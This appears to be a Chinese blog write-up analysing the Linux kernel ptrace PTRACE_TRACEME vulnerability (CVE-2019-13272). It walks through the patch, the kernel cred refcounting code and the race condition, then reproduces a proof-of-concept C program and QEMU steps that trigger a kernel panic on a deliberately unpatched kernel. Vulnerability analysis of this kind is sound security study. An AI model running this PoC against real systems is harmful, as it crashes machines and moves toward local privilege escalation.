CVE-2019-13272 'PTRACE_TRACEME' 本地提权漏洞分析（一）

漏洞信息

这个漏洞是 jannh 在今年 7月份发现的
漏洞来源

影响版本 Linux Kernel 5.1.17
本地提权

漏洞补丁

diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
  */
 static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
 {
-    rcu_read_lock();
-    __ptrace_link(child, new_parent, __task_cred(new_parent));
-    rcu_read_unlock();
+    __ptrace_link(child, new_parent, current_cred());
 }

漏洞的补丁十分的简单，
不使用 rcu 机制，__task_cred(new_parent)) 变成current_cred()

jannh 发布的信息中提出了两个问题，在这里我们先对第一个问题做分析

前置知识

这里是代码分析的时候涉及的一些知识点, 只做简单的描述，不做太详细的介绍

linux rcu 机制

rcu (Read-Copy Update) 是linux 中用的比较多的同步机制，它保护的是指针
rcu 使用在读多写少的情况下，允许多个读者和写者
读者之间不需要同步，但如果存在多个写者时，在写者把更新后的“副本”覆盖到原数据时，写者与写者之间需要利用其他同步机制保证同步。

常用函数
rcu_read_lock()
rcu_read_unlock()

在读取rcu指针的时候需要加上，例如前面的

    rcu_read_lock();
    __ptrace_link(child, new_parent, __task_cred(new_parent));
    rcu_read_unlock();

读者是可以嵌套的，也就是说rcu_read_lock()可以嵌套调用.
rcu_read_lock()和rcu_read_unlock()用来保持一个读者的RCU临界区. 该临界区上不允许上下文切换（禁止和启用抢占）

rcu_dereference()
有 rcu 标签的指针不能直接使用，读者要调用rcu_dereference来获得一个被RCU保护的指针.

synchronize_rcu()
用来等待之前的读者全部退出，读端临界区的检查是全局的，系统中有任何的代码处于读端临界区，synchronize_rcu() 都会阻塞，直到所有读端临界区结束才会返回，用在可睡眠的环境下.

call_rcu()
用在不可睡眠的条件中,如果中断环境,禁止抢占环境等.

linux ptrace 机制

这个应该都是比较熟悉的，gdb的实现就是用的ptrace系统调用
它的实现原型如下

#include <sys/ptrace.h> 
int ptrace(int request, int pid, int addr, int data);

它提供了父进程控制子进程的方法，用户可以借助它实现断点和调试
request参数决定了系统调用的功能
它只能调试属于自己用户的进程，种显而易见的限制就是普通用户的ptrace不能调试root进程

PTRACE_ATTACH trace指定 pid 对应的进程
PTRACE_DETACH 结束 trace
PTRACE_TRACEME 本进程将被父进程trace(告诉别人，来trace我呀)
PTRACE_SYSCALL, PTRACE_CONT 重新运行。
PTRACE_PEEKTEXT, PTRACE_PEEKDATA 从内存地址中读取一个字节，内存地址由addr给出。
PTRACE_PEEKUSR从USER区域中读取一个字节，偏移量为addr。
PTRACE_POKEUSR 往USER区域中写入一个字节。偏移量为addr。

setresuid 函数实现

setresuid 函数原型int setresuid(uid_t ruid, uid_t euid, uid_t suid);
设置程序运行的 ruid, euid 和 suid,
执行的条件有

1.当前进程的euid是root
2. 三个参数，每一个等于原来某个id中的一个

满足以上条件的任意一个，setresuid()都可以正常调用，并执行
例如，如果原来 ruid = 100,euid =300, suid =200
那么 setresuid(200,300,100) 可以成功，但是setresuid(100,200,400) 就会失败，当然 euid = 0 的时候就是 root 权限了，要设置成其他的用户id 也是没有问题的

setresuid 函数实现在 kernel/sys.c
主要逻辑如下, 省略了一些代码

 long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
    struct user_namespace *ns = current_user_ns();
    const struct cred *old;
    struct cred *new;
....
    new = prepare_creds();
...
    old = current_cred();
...// some check
    return commit_creds(new);
...
}

可以看到，它会调用 prepare_creds 生成一个新的 cred, 然后根据old cred和检查传进来的参数是否合法，合法机会运行 commit_creds 替换成新的
commit cred 在 kernel/cred.c

int commit_creds(struct cred *new)
{
    struct task_struct *task = current;
    const struct cred *old = task->real_cred;
...
    BUG_ON(task->cred != old);
...
    BUG_ON(atomic_read(&new->usage) < 1);

    get_cred(new); /* we will require a ref for the subj creds too */

...
rcu_assign_pointer(task->real_cred, new);
    rcu_assign_pointer(task->cred, new);
...//some check

    /* release the old obj and subj refs both */
    put_cred(old);
    put_cred(old);
    return 0;
}
EXPORT_SYMBOL(commit_creds);

commit_creds 主要将传入的 new_cred 替换原来的 task->real_cred 和 task->cred, 然后调用了两次 put_cred 解除 old cred 的引用

put_cred 实现在 kernel/cred.c

static inline void put_cred(const struct cred *_cred)
{
    struct cred *cred = (struct cred *) _cred;

    if (cred) {
        validate_creds(cred);
        if (atomic_dec_and_test(&(cred)->usage))
            __put_cred(cred);
    }
}
static inline int atomic_dec_and_test(atomic_t *v)
{
    return __sync_sub_and_fetch(&v->counter, 1) == 0;
}

atomic_dec_and_test 会将 cred 的引用减 1，并返回结果是否为0
结果为0 时表示这个cred已经没有被引用了，会调用 __put_cred 函数

void __put_cred(struct cred *cred)
{
    kdebug("__put_cred(%p{%d,%d})", cred,
           atomic_read(&cred->usage),
           read_cred_subscribers(cred));

    BUG_ON(atomic_read(&cred->usage) != 0);
#ifdef CONFIG_DEBUG_CREDENTIALS
    BUG_ON(read_cred_subscribers(cred) != 0);
    cred->magic = CRED_MAGIC_DEAD;
    cred->put_addr = __builtin_return_address(0);
#endif
    BUG_ON(cred == current->cred);
    BUG_ON(cred == current->real_cred);

    call_rcu(&cred->rcu, put_cred_rcu);
}
EXPORT_SYMBOL(__put_cred);

前面做了一堆的检查，从前面我们知道call_rcu 是用在不可中断的环境中，最终调用的是 put_cred_rcu 函数

static void put_cred_rcu(struct rcu_head *rcu)
{
    struct cred *cred = container_of(rcu, struct cred, rcu);

    kdebug("put_cred_rcu(%p)", cred);

#ifdef CONFIG_DEBUG_CREDENTIALS
    if (cred->magic != CRED_MAGIC_DEAD ||
        atomic_read(&cred->usage) != 0 ||
        read_cred_subscribers(cred) != 0)
        panic("CRED: put_cred_rcu() sees %p with"
              " mag %x, put %p, usage %d, subscr %dn",
              cred, cred->magic, cred->put_addr,
              atomic_read(&cred->usage),
              read_cred_subscribers(cred));
#else
    if (atomic_read(&cred->usage) != 0)
        panic("CRED: put_cred_rcu() sees %p with usage %dn",
              cred, atomic_read(&cred->usage));
#endif

    security_cred_free(cred);
    key_put(cred->session_keyring);
    key_put(cred->process_keyring);
    key_put(cred->thread_keyring);
    key_put(cred->request_key_auth);
    if (cred->group_info)
        put_group_info(cred->group_info);
    free_uid(cred->user);
    put_user_ns(cred->user_ns);
    kmem_cache_free(cred_jar, cred);
}

主要就是解除cred 的一些引用，最后调用 kmem_cache_free 释放这一块内存

漏洞分析

okay 终于完了，接下来我们正式看一下这个漏洞

漏洞触发点

漏洞出现在 ptrace 使用request 参数为 PTRACE_TRACEME的时候
它的调用链如下

ptrace ->ptrace_traceme -> ptrace_link -> __ptrace_link

我们一个一个看

在 kernel/ptrace.c

SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
        unsigned long, data)
{
    struct task_struct *child;
    long ret;

    if (request == PTRACE_TRACEME) {
        ret = ptrace_traceme();
        if (!ret)
            arch_ptrace_attach(current);
        goto out;
    }

ptrace 系统调用传入 PTRACE_TRACEME request 的时候会进入 ptrace_traceme 函数，没有什么，进入看看

static int ptrace_traceme(void)
{
    int ret = -EPERM;

    write_lock_irq(&tasklist_lock);
    /* Are we already being traced? */
    if (!current->ptrace) {
        ret = security_ptrace_traceme(current->parent);
...
        if (!ret && !(current->real_parent->flags & PF_EXITING)) {
        // 设置当前进程 被 trace
            current->ptrace = PT_PTRACED;
            ptrace_link(current, current->real_parent);
        }
    }
    write_unlock_irq(&tasklist_lock);
    return ret;
}

ptrace_traceme前面做一些权限检查，然后设置当前进程被 trace ,调用 ptrace_link 函数, 注意这里传入的第二个参数是 current->real_parent 也就是其父进程的 task_struct

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
    rcu_read_lock();
    __ptrace_link(child, new_parent, __task_cred(new_parent));
    rcu_read_unlock();
}
#define __task_cred(task)    
    rcu_dereference((task)->real_cred)

主要看第三个参数 __task_cred(new_parent) 这一句，它调用rcu_dereference 获取 new_parent->real_cred 的引用，也就是父进程的 cred 结构体的地址啦

接着传入了 __ptrace_link函数

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
           const struct cred *ptracer_cred)
{
    BUG_ON(!list_empty(&child->ptrace_entry));
    list_add(&child->ptrace_entry, &new_parent->ptraced);
    child->parent = new_parent;
    child->ptracer_cred = get_cred(ptracer_cred);
}
//------------------
 static inline const struct cred *get_cred(const struct cred *cred)
{
    struct cred *nonconst_cred = (struct cred *) cred;
    if (!cred)
        return cred;
    validate_creds(cred);
    return get_new_cred(nonconst_cred);
}
//----------------
static inline struct cred *get_new_cred(struct cred *cred)
{
    atomic_inc(&cred->usage);
    return cred;
}

最后一句 child->ptracer_cred = get_cred(ptracer_cred); 子进程保存了父进程的 cred 结构体到 ptracer_cred 字段里面, get_cred 作用是让cred的引用计数+1，这里也是漏洞点所在。
结合前面我们对 setresuid 函数的分析，接入在 get_cred 函数调用之前父进程调用了 setresuid函数，那么原来的 cred 就会被替换，原来的 cred 结构体的引用计数可能就变成 0 了，这个时候会通过 call_rcu 调用put_cred_rcu 来释放这块内存，如果这个时候 get_cred 被调用了,引用计数 +1, 就会触发下面代码，产生 kernel panic

    if (atomic_read(&cred->usage) != 0)
        panic("CRED: put_cred_rcu() sees %p with usage %dn",
              cred, atomic_read(&cred->usage));

poc 分析

下面 jannh 给出的poc

 #define _GNU_SOURCE
#include <unistd.h>
#include <signal.h>
#include <sched.h>
#include <err.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/ptrace.h>

int grandchild_fn(void *dummy) {
  if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
    err(1, "traceme");
  return 0;
}

int main(void) {
  pid_t child = fork();
  if (child == -1) err(1, "fork");

  /* child */
  if (child == 0) {
    static char child_stack[0x100000];
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    while (1) {
      if (clone(grandchild_fn, child_stack+sizeof(child_stack), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_PARENT|CLONE_VM|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_VFORK, NULL) == -1)
        err(1, "clone failed");
    }
  }
  /* parent */
  uid_t uid = getuid();
  while (1) {
    // 
    if (setresuid(uid, uid, uid)) err(1, "setresuid");
  }
}

poc 十分简单

task A fork 出 task B
task A 不断 setresuid 更新自己的 cred
task B 不断调用 ptrace(PTRACE_TRACEME, 0, NULL, NULL) 尝试触发竞争

主要能够在 task A put_cred_rcu 被调用的时候 ,task B 运行到 get_cred 就可以触发内核panic

漏洞复现

测试环境搭建

测试环境可以直接安装个 ubuntu 的虚拟机来测
这里笔者使用 qemu 来做测试，测试环境笔者参考了 syzkaller 的环境配置
参考设置

linux 源码下载
下载后编辑 kernel/ptrace.c 改成有bug 的版本

  */                                                                                
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) 
{                                                                                  
    rcu_read_lock();                                                               
    __ptrace_link(child, new_parent, __task_cred(new_parent));                     
    rcu_read_unlock();                                                             
    /*__ptrace_link(child, new_parent, current_cred());*/                          
}

make defconfig
make menuconfig
// 编辑 .config, 在最后加上 
// CONFIG_CONFIGFS_FS=y
// CONFIG_SECURITYFS=y
make oldconfig
make -j16

文件系统笔者使用了 syzkaller 中的 create_image.sh 来创建

完成之后可以用下面命令运行

qemu-system-x86_64 -kernel ./linux/arch/x86_64/boot/bzImage  -append "console=ttyS0 root=/dev/sda debug earlyprintk=serial nokaslr" -hda strechsome/stretch.img -net user,hostfwd=tcp::10021-:22 -net nic -enable-kvm  -nographic -m 2G  -smp 2 -s

因为它这里需要竞争，call_rcu 函数又是不可中断的，所以在单个cpu下要触发很难，这里设置参数-smp 2 给了两个cp

poc 测试

把上面的 poc 编译好之后拷贝到文件系统里面

gcc poc.c --static
mount strechsome/stretch.img ./tmp
cp ./a.out ./tmp
umount ./tmp

运行虚拟机你会发现下面的崩溃

总结

这个漏洞还是比较简单的，复现条件不会十分的苛刻，ptrace之前自己也学过一段时间，也看过一些源码，但是没有关注到这个部分的内容, jannh 真实tql。
下一篇文章我会分析jannh 提出的第二个问题

reference

https://www.4hou.com/vulnerable/19464.html
https://bugs.chromium.org/p/project-zero/issues/detail?id=1903

正文

CVE-2019-13272 'PTRACE_TRACEME' 本地提权漏洞分析（一）

漏洞信息

漏洞补丁

前置知识

linux rcu 机制

linux ptrace 机制

setresuid 函数实现

漏洞分析

漏洞触发点

poc 分析

漏洞复现

总结

reference

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